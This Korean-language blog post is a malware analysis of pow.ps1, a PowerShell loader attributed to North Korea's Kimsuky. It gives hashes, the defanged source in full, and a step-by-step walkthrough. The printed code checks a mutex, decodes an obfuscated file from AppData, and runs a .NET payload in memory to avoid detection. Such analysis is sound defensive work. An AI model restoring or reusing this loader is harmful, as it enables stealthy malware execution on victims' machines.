꿈을꾸는 파랑새

오늘은 우리 민족의 해킹단체라는 말은 X 소리인 것 잘 알죠! 우리의 주적 북한 해킹 단체 김수키(Kimsuky) 만든 파워셀 악성코드 pow.ps1(2024.9.23)에 대해 글을 적어 보겠습니다.
해당 악성코드는 특정 Mutex를 확인하고 실행되는 악성 코드입니다.
먼저 "123AKs82kA,ylAo2kAlUS2kYkala!" 라는 뮤텍스가 있는지 확인 뮤텍스가 발견되지 않으면 코드가 진행됩니다. 그런 다음 MaintanceLog라는 네임스페이스 내에 C# 클래스를 정의합니다.

먼저 해쉬값은 다음과 같습니다.
파일명:pow.ps1
사이즈:3.54 KB
MD5:c8d589ac5c872b12e502ec1fc2fee0c7
SHA-1:8dd3ff59320a5908f60755232b766c740715d998
SHA-256:751698edee5ec4c46fddaa995f120984dfd551e1f68fc2d0fea7bfe1a8868c83

pow 악성코드 내부 모습
pow 악성코드 내부 모습

PowerShell(파워셀) 코드

$IsMutexFree=$false;Try{[Threading.Mutex]$OpenExistingMutex = [Threading.Mutex]:
:OpenExisting("123AKs82kA,ylAo2kAlUS2kYkala!");$IsMutexFree = $false;}Catch [Thr
eading.WaitHandleCannotBeOpenedException] {$IsMutexFree = $true;}
if ($IsMutexFree){
Add-Type -TypeDefinition @"
using System(.)Diagnostics;
using System(.)IO;
using System(.)Reflection;
using System(.)Runtime.InteropServices;
using System(.)Text;
using System(.0)Threading;
using System(.)Windows.Forms;
using Syst(e)m;
namespace Mai(n)tanceLog {
    public stati(c) class Program {
    	public stat(i)c StringBuilder drop_path;
	public static Stri(n)gBuilder Log_path;

	public static byte[] GetBy(t)es(string str)
        {
            byte[] bytes = new b(y)te[str.Length * s(i)zeof(char)];
            System.Buffer.BlockCo(p)y(str.ToChar(A)rray(), 0, bytes, 0, bytes.Length);
            return bytes;
        }

	pub(l)ic static void Save(L)ogoFile(string LogoName,string data)
        {
               using (FileStream f(S)tream = File(.)Open(LogoN(a)me, File(M)od
               e.Crea(t)e, File(A)ccess.Write))
                {
                
                    byte[] By(D)ata = GetBytes(data);
                    fStream.Seek(()2(0), SeekOrigin.End);
                    fStream.Write(ByD(a)ta, 0, ByData.Length);
                    fStream(.)Close();
                }
        }
	public static string Reor(d)er_pieces_in_reverse (string str, int count)
	{
          st(r)ing result_str = "";
          strin(g) temp_str = "";  
          result_(s)tr = str.Substring(0, str.Len(g)th - (cou(n)t - 1)
          * (str(.)Length / count));
	  for(int i = 0; i  < c(o)unt - 1; i ++)
          {
            temp_str = str(.)S(u)bstring(result_str.Length, str(.)Len
            gth / count);
            result_str = temp_str (+) r(e)sult_str;
          }
	  return r(e)sult_str;
	}
	public stati(c) void Domain() {
	    dr(o)p_path=n(e)w StringBuilder("a",256);
	    Log_p(a)th=new S(t)ringBuilder("a",256);
	    SHGetFol(d0erPath(0,(2)6 ,0,0,drop_path);
	    SHGetFolder(P)ath(0,26 (,)0,0,Log_path);

	    string fileNam(e)(=)drop_path.Append("/Microsoft/desktop(.)r7u").ToString();
	    string RLog_Path (=)Log_path.(A)ppend("/Microsoft/ttmp(.)log").ToString();
	    if (File(.)Exists(fi(l)eName))
            {	
		string file(_)content;
		using (StreamR(e)ader sr = new Stream(R)eader(fileName))
		{
		    file_(c)onte(n)t = sr(.)ReadToEnd();
		    sr.Close();
		}
		string based(a)ta = Reor(d)er_pieces(_)in_reverse(file_content, 10);
	
		byte[] new(B)yte = Co(n)vert.FromBase64String(basedata);
		Array.Revers(e)(newB(y)te);
		SaveLogoFile(RL(o)g_Pat(h),"Complete ArrayRevers..");
                if (newByt(e).Leng(t)h > 0)
                {
                    Assem(b)ly Si(l)ver(L)ine = Assembly.Load(newByte);
                    if (Silv(e)rLine == (n)ull)
                    {
			SaveLo(g)oFile(RLog_P(a)th,"Fail(e)d Assemblyload..");
                        Consol(e).WriteLine("(E)xe Load Failed!");
                    }
                    el(s)e
                    {
		    	Meth()odInfo method = SilverLine.EntryPoint;
			if (meth(o)d != null) {
				object (o) = SilverLine(.)CreateInstance(method.Name);
				string[] ob = new str(i)ng[1];
				method.In(v)oke(o, ob);
				Console.Writ(e)Line("Exe Load Succ(e)ssful!");
				SaveLogoFile(RLog_Path,"Co(m)plete Assemblyload..");
				int for(n)um = 0;
				while (for(n)um < 5)
				{
				    Thread.Sl(e)ep(300);
				}
			}
                    }
                }
            }
	}
	[DllImport("shell32(.)dll")]public static extern uint SHGetFold(e)rPa
    th(uint hwnd, uint csidl, u(i)nt hToken,uint dwFlags(,)System.Text(.)String
    Builder pszSubDir);
    }
}
"@ -ReferencedAssemblies Syst(e)m.Windows.Forms
[MaintanceLog.Program]::Dom(a)in();
};

악성코드 분석

1.Mutex 사용
해당 부분은 프로세스가 단일 인스턴스만 실행되도록 제어하는 코드
Mutex는 시스템에서 고유한 이름으로 생성되며 해당 이름을 가진 Mutex가 이미 존재하는지 확인하는 데 사용
Mutex 이름 "123AKs82kA,ylAo2kAlUS2kYkala!"를 가진 객체를 시스템에서 열려고 시도
해당 Mutex는 이미 실행 중인 악성코드의 인스턴스가 있는지 확인하는 데 사용
해당 Mutex가 존재하면 해당 스크립트는 중복 실행을 방지하기 위해 실행을 중단하거나 다른 방식으로 동작하지 않음
Mutex가 존재하지 않으면 예외가 발생하고 $IsMutexFree 값을 true로 설정하여 이 코드를 실행할 수 있도록 함
2.C# 코드 컴파일 및 실행
해당 부분에서는 Mutex가 존재하지 않을 때 C# 코드 블록을 컴파일하고 실행
PowerShell의 Add-Type 명령어를 사용하여 System(.)Windows(.)Forms 와 같은 어셈블리를 참조하고 C# 코드를 동적으로 컴파일하여 사용
[MaintanceLog.Program]::Domain();` 메서드를 호출하면서 핵심적인 동작이 이루어지는 것임
3.C# 코드 분석
컴파일된 C# 코드는 악성코드의 주된 로직을 포함하고 있으며 주요 동작
파일 경로 추출
SHGetFolderPath() 함수는 시스템의 특정 폴더 경로를 반환하는 Windows API 함수 여기서 두 가지 경로를 얻음
drop_path:사용자의 Application Data 폴더 경로를 반환
Log_path: 같은 방식으로 Application Data 폴더를 얻음
파일 경로 및 파일 읽기
fileName은 C:\Users\(사용자)\AppData\Roaming\Microsoft\desktop(.)r7u 에 해당하는 경로로 특정 파일을 지정
RLog_Path는 로그 파일 C:\Users\(사용자)\AppData\Roaming\Microsoft\ttmp.log 경로에 해당
이후 desktop.r7u 파일이 존재하는지 확인하고 파일 내용을 읽음
desktop(.)r7u 파일이 존재하면 해당 내용을 읽어서 file_content 변수에 저장
데이터 변환 및 어셈블리 로드
Reorder_pieces_in_reverse() 함수:
해당 함수는 문자열을 특정한 개수(count)로 나누고 조각을 역순으로 재배열
데이터를 숨기기 위한 간단한 난독화 기법
count = 10이므로 문자열을 10 등분하고 역순으로 재배열
Base64 디코딩 및 바이트 배열 역순 변환:
file_content`를 base64로 디코딩하고, 바이트 배열을 역순으로 변환
원래 악성코드가 준비되며 이를 어셈블리로 로드할 준비
메모리상의 어셈블리 로드:
Assembly.Load()를 사용하여 바이트 배열로부터 어셈블리를 메모리상에 로드
로드가 실패하면 로그 파일에 실패를 기록하고 콘솔에 메시지를 출력
디스크에 실제 실행 파일을 남기지 않고 메모리에서 직접 실행하는 방식 탐지를 어렵게 만들기 위한 흔한 기술
어셈블리 엔트리 포인트 실행
엔트리 포인트 찾기 및 실행:
로드된 어셈블리의 엔트리 포인트(EntryPoint)를 찾아 실행
엔트리 포인트는 로드된 어셈블리의 진입점(보통 Main() 메서드)으로 여기에 도달하면 악성코드의 실제 페이로드가 실행
로그 기록
성공적으로 어셈블리가 로드되고 실행되면 ttmp.log 파일에 해당 성공 여부를 기록
로그는 공격자에게 감염 상황을 알리기 위한 용도로 사용될 가능성 매우 크게 생각
아무튼 메모리 상에서 실행을 해서 흔적을 최대한 남기지 않게 하려고 만들어진 악성코드가 아닐까 생각이 됩니다. 끝

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band